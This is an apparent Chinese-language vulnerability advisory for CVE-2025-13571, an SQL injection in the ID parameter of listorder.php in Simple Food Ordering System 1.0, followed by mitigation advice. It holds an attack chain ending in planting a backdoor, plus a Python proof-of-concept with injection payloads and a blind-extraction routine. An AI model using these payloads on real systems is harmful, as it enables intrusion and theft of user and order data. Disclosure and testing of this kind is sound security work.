IPBUF安全漏洞报告
English
CVE-2025-13571 CVSS 6.3 中危

CVE-2025-13571 Simple Food Ordering System 1.0 listorder.php SQL注入漏洞

披露日期: 2025-11-23

漏洞信息

漏洞编号
CVE-2025-13571
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
code-projects Simple Food Ordering System 1.0

相关标签

SQL注入Web应用安全CVE-2025Simple Food Ordering SystemPHPMySQL代码注入认证绕过数据泄露Web漏洞

漏洞概述

CVE-2025-13571是code-projects团队开发的Simple Food Ordering System 1.0版本中的一个高危SQL注入漏洞。该系统是一款基于Web的食品订购管理应用,采用了PHP和MySQL技术栈开发。漏洞存在于/listorder.php文件中的ID参数处理逻辑中,攻击者可以通过构造恶意的SQL语句片段,对数据库执行未授权的查询操作。由于该漏洞位于用户输入处理的关键路径上,且系统未对用户输入进行充分的过滤和参数化处理,导致攻击者可以在低权限状态下远程利用此漏洞。该漏洞的CVSS评分为6.3,属于中等严重程度,但考虑到其可能导致敏感数据泄露、数据库篡改等风险,仍需及时修复。漏洞已于2025年11月23日公开披露,攻击代码已在互联网流传,建议使用该系统的用户立即采取防护措施。

技术细节

该SQL注入漏洞源于/listorder.php文件中对ID参数的处理不当。当用户请求该页面并提供ID参数时,系统直接将用户输入拼接到SQL查询语句中,而未进行任何过滤或使用参数化查询。具体来说,攻击者可以通过在ID参数中注入SQL语句,如使用UNION SELECT、布尔盲注或时间盲注等技术,从数据库中提取敏感信息。攻击者可以在不需要高权限的情况下(低权限用户即可),通过构造特定的SQL payload来获取数据库中的用户凭据、订单信息、食品数据等敏感内容。由于该漏洞的CVSS向量显示攻击复杂度低(AC:L)且无需用户交互(UI:N),攻击者可以在短时间内完成漏洞利用。建议开发者使用参数化查询(Prepared Statements)来修复此漏洞,并对所有用户输入进行严格的输入验证和过滤。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统使用的Simple Food Ordering System 1.0版本,并定位/listorder.php端点
STEP 2
步骤2: 参数探测
攻击者访问/listorder.php?id=1测试基本功能,确认ID参数存在且可被操控
STEP 3
步骤3: SQL注入测试
使用SQL注入payload如1' OR '1'='1测试是否存在SQL注入漏洞,观察返回结果
STEP 4
步骤4: 数据提取
通过UNION注入或盲注技术提取数据库中的敏感信息,如用户表、订单表数据
STEP 5
步骤5: 权限提升/持久化
利用获取的凭据尝试登录管理后台,或在数据库中植入后门实现持久化访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13571 SQL Injection PoC # Target: Simple Food Ordering System 1.0 # Endpoint: /listorder.php # Parameter: ID import requests import sys target = "http://target.com/listorder.php" # Basic SQL Injection test payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT 1,2,3,4,5-- -", "1' AND SLEEP(5)-- -", "1' AND 1=1-- -", "1' AND 1=2-- -" ] print("[*] CVE-2025-13571 SQL Injection Test") print(f"[*] Target: {target}") for payload in payloads: params = {"id": payload} try: response = requests.get(target, params=params, timeout=10) print(f"[+] Payload: {payload}") print(f" Status: {response.status_code}") if "error" not in response.text.lower() and response.status_code == 200: print(f" [+] Potential vulnerable!") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Data extraction example (blind boolean-based) def extract_data(payload): """Extract data using boolean-based blind SQL injection""" params = {"id": f"1' AND {payload}-- -"} response = requests.get(target, params=params) return "expected_content" in response.text # Example: Extract database version version_payload = "(SELECT SUBSTRING(@@version,1,1))=5" if extract_data(version_payload): print("[+] Database version starts with 5")

影响范围

Simple Food Ordering System 1.0

防御指南

临时缓解措施
在官方修复方案发布前,建议采取以下临时缓解措施:1) 在Web应用层添加输入过滤逻辑,对ID参数进行严格验证;2) 在数据库层限制应用账户权限,避免使用DBA或root权限运行;3) 暂时禁用/listorder.php页面或设置IP白名单访问限制;4) 部署WAF规则拦截可疑的SQL注入请求;5) 加强对数据库和Web日志的监控,及时发现异常查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表